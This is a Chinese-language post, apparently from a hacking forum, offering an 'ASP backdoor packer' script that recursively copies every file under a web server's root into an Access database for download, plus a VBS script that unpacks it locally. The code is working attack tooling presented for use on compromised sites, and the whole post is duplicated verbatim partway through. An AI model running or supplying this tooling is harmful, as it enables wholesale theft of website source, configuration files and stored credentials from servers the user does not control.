//Cnnsc.asp ASP后门打包
//Cnnsc.vbs VBS本地解压
用记事本打开Cnnsc.asp文件，找到Cnnsc.mdb，把Cnnsc.mdb改成您想要的名称
Cnnsc.asp内容：
<%
dim dbfile,fso,sql
mdbfile="pop.mdb" '把Cnnsc换成你其它数据库名字
dbfile=server.MapPath(mdbfile)
Set FSO = CreateObject("Scripting.FileSystemObject")
'如果数据库存在就删除原有数据
if fso.FileExists(dbfile) then
fso.DeleteFile(dbfile)
end if
set fso=nothing
'开始建立数据库
set cat=server.CreateObject("ADOX.Catalog")
'建立access2000的数据库
cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set cat=nothing
if err.number=0 then
Response.Write "数据库 " & dbfile & " 创建成功<br> "
else
Response.Write "数据库创建失败，原因： " & err.description
Response.End
end if
'开始建表
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
'建立表
sql="Create TABLE filedata([id] counter PRIMARY KEY,[path] Memo,[file] General)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FileData", conn, 1, 3
set obj=server.createobject("scripting.filesystemobject")
'获得网站根目录
set objfolder=obj.getfolder(server.mappath("/"))
'开始查找文件
search objfolder
response.write("累死你Tom哥哥了,打完了")
'文件搜索函数
function search(objfolder)
dim objsubfolder
for each objfile in objfolder.files
Set objStream = Server.CreateObject("ADODB.Stream")
a=a+1
objStream.Type = 1
objStream.Open
response.write a &"<br>"
response.write objfile.path &"<br>"
'跳过数据库本身和.LDB文件
if right(objfile.path,len(mdbfile))=mdbfile or right(objfile.path,4)=".ldb" then
else
objStream.LoadFromFile objfile.path
rs.addnew
rs("file")=objstream.read
rs("Path")=right(objfile.path,len(objfile.path)-3)
rs.update
objStream.close
end if
next
for each objsubfolder in objfolder.subfolders
search objsubfolder
next
end Function
%>
Cnnsc.vbs内容：
Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
dbname=inputbox("请输入数据库名称,数据库必须和本程序在同一目录","429006.com")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&dbname&";"
conn.Open connStr
rs.Open "select * from [filedata]", conn, 1, 1
stream.Open
stream.Type = 1
On Error Resume Next
Do Until rs.Eof
theFolder = Left(rs("path"), InStrRev(rs("path"), "\"))
If fso.FolderExists(theFolder) = False Then
createFolder(theFolder)
End If
stream.SetEos()
stream.Write rs("file")
stream.SaveToFile str & rs("path"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
Wscript.Echo "累死你Tom哥哥了.解完了!"
Sub createFolder(path)
Dim i
i = Instr(path, "\")
Do While i > 0
If fso.FolderExists(Left(path, i)) = False Then
fso.CreateFolder(Left(path, i - 1))
End If
If InStr(Mid(path, i + 1), "\") Then
i = i + Instr(Mid(path, i + 1), "\")
Else
i = 0
End If
Loop
End Sub
//Cnnsc.vbs VBS本地解压
用记事本打开Cnnsc.asp文件，找到Cnnsc.mdb，把Cnnsc.mdb改成您想要的名称
Cnnsc.asp内容：
<%
dim dbfile,fso,sql
mdbfile="pop.mdb" '把Cnnsc换成你其它数据库名字
dbfile=server.MapPath(mdbfile)
Set FSO = CreateObject("Scripting.FileSystemObject")
'如果数据库存在就删除原有数据
if fso.FileExists(dbfile) then
fso.DeleteFile(dbfile)
end if
set fso=nothing
'开始建立数据库
set cat=server.CreateObject("ADOX.Catalog")
'建立access2000的数据库
cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set cat=nothing
if err.number=0 then
Response.Write "数据库 " & dbfile & " 创建成功<br> "
else
Response.Write "数据库创建失败，原因： " & err.description
Response.End
end if
'开始建表
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
'建立表
sql="Create TABLE filedata([id] counter PRIMARY KEY,[path] Memo,[file] General)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FileData", conn, 1, 3
set obj=server.createobject("scripting.filesystemobject")
'获得网站根目录
set objfolder=obj.getfolder(server.mappath("/"))
'开始查找文件
search objfolder
response.write("累死你Tom哥哥了,打完了")
'文件搜索函数
function search(objfolder)
dim objsubfolder
for each objfile in objfolder.files
Set objStream = Server.CreateObject("ADODB.Stream")
a=a+1
objStream.Type = 1
objStream.Open
response.write a &"<br>"
response.write objfile.path &"<br>"
'跳过数据库本身和.LDB文件
if right(objfile.path,len(mdbfile))=mdbfile or right(objfile.path,4)=".ldb" then
else
objStream.LoadFromFile objfile.path
rs.addnew
rs("file")=objstream.read
rs("Path")=right(objfile.path,len(objfile.path)-3)
rs.update
objStream.close
end if
next
for each objsubfolder in objfolder.subfolders
search objsubfolder
next
end Function
%>
Cnnsc.vbs内容：
Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
dbname=inputbox("请输入数据库名称,数据库必须和本程序在同一目录","429006.com")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&dbname&";"
conn.Open connStr
rs.Open "select * from [filedata]", conn, 1, 1
stream.Open
stream.Type = 1
On Error Resume Next
Do Until rs.Eof
theFolder = Left(rs("path"), InStrRev(rs("path"), "\"))
If fso.FolderExists(theFolder) = False Then
createFolder(theFolder)
End If
stream.SetEos()
stream.Write rs("file")
stream.SaveToFile str & rs("path"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
Wscript.Echo "累死你Tom哥哥了.解完了!"
Sub createFolder(path)
Dim i
i = Instr(path, "\")
Do While i > 0
If fso.FolderExists(Left(path, i)) = False Then
fso.CreateFolder(Left(path, i - 1))
End If
If InStr(Mid(path, i + 1), "\") Then
i = i + Instr(Mid(path, i + 1), "\")
Else
i = 0
End If
Loop
End Sub